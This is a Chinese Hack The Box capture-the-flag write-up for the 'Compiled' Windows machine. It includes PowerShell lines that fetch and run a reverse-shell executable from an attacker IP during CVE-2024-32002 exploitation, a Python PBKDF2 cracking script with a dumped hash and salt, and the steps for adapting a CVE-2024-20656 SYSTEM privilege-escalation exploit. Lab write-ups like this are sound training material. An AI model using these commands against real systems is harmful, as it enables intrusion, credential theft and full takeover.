本文章仅用于网络安全研究学习,请勿使用相关技术进行违法犯罪活动。
Hack The Box是一个国外的靶机在线平台,实验环境将实时更新,允许您测试您的渗透测试技能。
知识点:CVE-2024-32002、CVE-2024-20656
kali:10.10.16.9
Tricker:10.10.11.38
0001.信息收集
nmap扫描端口,开放的是3000端口和5000端口,两个端口都是网站。(结果过长,影响阅读,这里就不贴结果了)
nmap -sC -sV -O -oN nmap.txt 10.10.11.26
首先查看3000端口,搭建的gitea网站,里面有Compiled库和Calculator库。
Calculator库是使用C++编写的计算器,代码结构如下。
下载后,使用visual studio打开Calculator.sln文件,快捷键
CTRL + SHIFT + B就可以编译成exe文件,运行情况如下:
Compiled库就是5000端口网站的源码代码结构如下:
网站主页唯一输入框如下,网站允许你提交C++、C#和.Net所编写项目的GitHub库URL,会自动下载项目并编译。
0002.获取Richard用户权限
阅读Calculator库的说明,发现git版本为2.45.0。
搜索相关漏洞,git 2.45.0有漏洞CVE-2024-32002。
CVE-2024-32002
https://amalmurali.me/posts/git-rce/
漏洞简述:
git clone –-recursive xxx复制库时会复制所有的子模块
在captain库中,设置A/modules/x指向子模块hook
hook库中y/hooks/post-checkout包含命令执行代码
在captain库中创建a符号链接文件,指向.git文件夹。(.git只会在本地存在,包含了版本控制所需的所有信息)
漏洞点:复制到本地时会将A和a混浠,导致本应该存储在A/modules/x的文件,存储到了.git/modules/x,就会将git checkout作为钩子文件触发。
具体步骤如下:
a.在网站中创建hook库和captain库
b.从github中下载create_poc.sh文件
漏洞利用
https://github.com/amalmurali47/git_rce?tab=readme-ov-file
c.修改create_poc.sh文件,红框中是注入的代码。
nameme.exe为msfvenom准备的反弹shell文件,前面文章已经提过多次,这里不赘诉了,记得使用msfconsole监听端口,这次使用的的payload为windows/x64/meterpreter/reverse_tcp。
powershell Invoke-WebRequest -Uri 'http://10.10.16.11/nameme.exe' -OutFile 'C:UsersPublicnameme.exe';
powershell Start-Process 'C:UsersPublicnameme.exe'
d.运行create_poc.sh文件,运行后目录结构如下
chmod +x create_poc.sh
./create_poc.sh
e.上传仓库
cd hook
git remote add origin http://gitea.compiled.htb:3000/test_admin/hook.git
git push origin main
cd ../captain
git remote add origin http://compiled.htb:3000/test_admin/captain.git
git push origin main
f.进入captain中修改.gitmodules文件,将指向地址修改为hook库。
d.在nameme.exe所在文件夹开启网站服务,在5000端口网站输入captain库的链接地址。等待一会,成功反弹shell。
0003.获取emily用户权限
在c:Program FilesGiteadata目录发现gitea.db文件,传输到本地后打开,里面有emily用户的密码,加密方式,加密的盐值。
密码:97907280dc24fe517c43475bd218bfad56c25d4d11037d8b6da440efd4d691adfead40330b2aa6aaf1f33621d0d73228fc16
加密方式:pbkdf2|50000
盐值:227d873cca89103cd83a976bdac52486
pbkdf2无法直接解码,但是可以尝试穷举,使用如下代码1s就可以跑出密码。
import hashlib
import os
decode_password = "97907280dc24fe517c43475bd218bfad56c25d4d11037d8b6da440efd4d691adfead40330b2aa6aaf1f33621d0d73228fc16"
iterations = 50000
salt = "227d873cca89103cd83a976bdac52486"
salt = bytes.fromhex(salt)
dklen=50
def generate_hash(password, salt, iterations):
# 生成PBKDF2-SHA256的密钥
key = hashlib.pbkdf2_hmac(
'sha256', # 使用SHA256算法
password.encode(), # 将密码编码为字节
salt, # 盐值
iterations, # 迭代次数
dklen=dklen
)
return salt, key
with open("D:/fuzz/rockyou/rockyou.txt", "r", encoding="latin-1") as f:
a = f.read()
a = a.split("n")
for i in range(len(a)):
resalt, hashed_password = generate_hash(a[i], salt, iterations)
if hashed_password.hex() == decode_password:
print("password:", a[i])
print("Salt:", resalt.hex())
print("Hashed Password:", hashed_password.hex())
break
使用获取的密码登录,成功获取emily用户权限和user.txt。
evil-winrm -u 'emily' -p 'xxx' -i 10.10.11.26
0004.获取root用户权限
在服务器上经过一番查找,没有特别信息,但是找到了Visual Studio 2019,网上搜索VS提权漏洞发现CVE-2024-20656。
漏洞简述:Visual Studio的诊断服务器VSStandardCollectorService150是以NT AUTHORITYSYSTEM用户执行,该服务可以在C:/windows/Temp生成受限制的文件。
经过VSDiagnostics.exe的/scratchLocation参数修改存放位置。
SetNamedSecurityInfoW()修改权限。
Windows 错误报告服务修复文件,再加上链接的方式。
最终可以以NT AUTHORITYSYSTEM用户权限执行任意文件。
具体漏洞发现过程见文章:
CVE-2024-20656
https://www.mdsec.co.uk/2024/01/cve-2024-20656-local-privilege-escalation-in-vsstandardcollectorservice150-service/
漏洞利用:
https://github.com/Wh04m1001/CVE-2024-20656 漏洞利用
将文件下载到本地后目录如下:
修改main.cpp文件两处位置:
第一处是VSDiagnostics.exe文件的目录改成靶机上的位置
WCHAR cmd[] = L"C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\Team Tools\DiagnosticsHub\Collector\VSDiagnostics.exe";
第二处是漏洞利用文件,改成反弹shell存放的位置。
将Expl.sln文件使用Vusual Studio打开,编译方式改成Release,平台工具及改成2019版本。
快捷键CTRL + SHIFT + B进行编译,得到Expl.exe文件
这里还需要RunasCs.exe文件,作用是运行时自动输入密码。
RunasCs
https://github.com/antonioCoco/RunasCs
现在把nameme.exe、Expl.exe、RunasCs.exe文件上传到靶机,使用msf监听本地端口,运行如下命令:
./RunasCs.exe emily 12345678 c:rrmExpl1.exe
成功反弹shell
避坑:
1.调试的时候如果一直无法反弹成功,也不知道原因,在每条输出代码后面加fflush(stdout); 运行时会显示输出,判断哪里出问题了。
2.显示[-] Cannot start process!,说明代码修改中第一个位置路径错误。
3.显示No output received from the process.尝试重启靶机再试。
4.显示[*] Command to execute: xxxx然后就退出了,确定下是不是代码修改的第二个位置的shell路径错误,最好和靶机大小写一致。
5.不要放弃,多试几次,这一步分析原因尝试了几十次才成功。
感谢收看!
原文始发于微信公众号(Rsec):HTB靶场Compiled(Windows)[Medium]
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论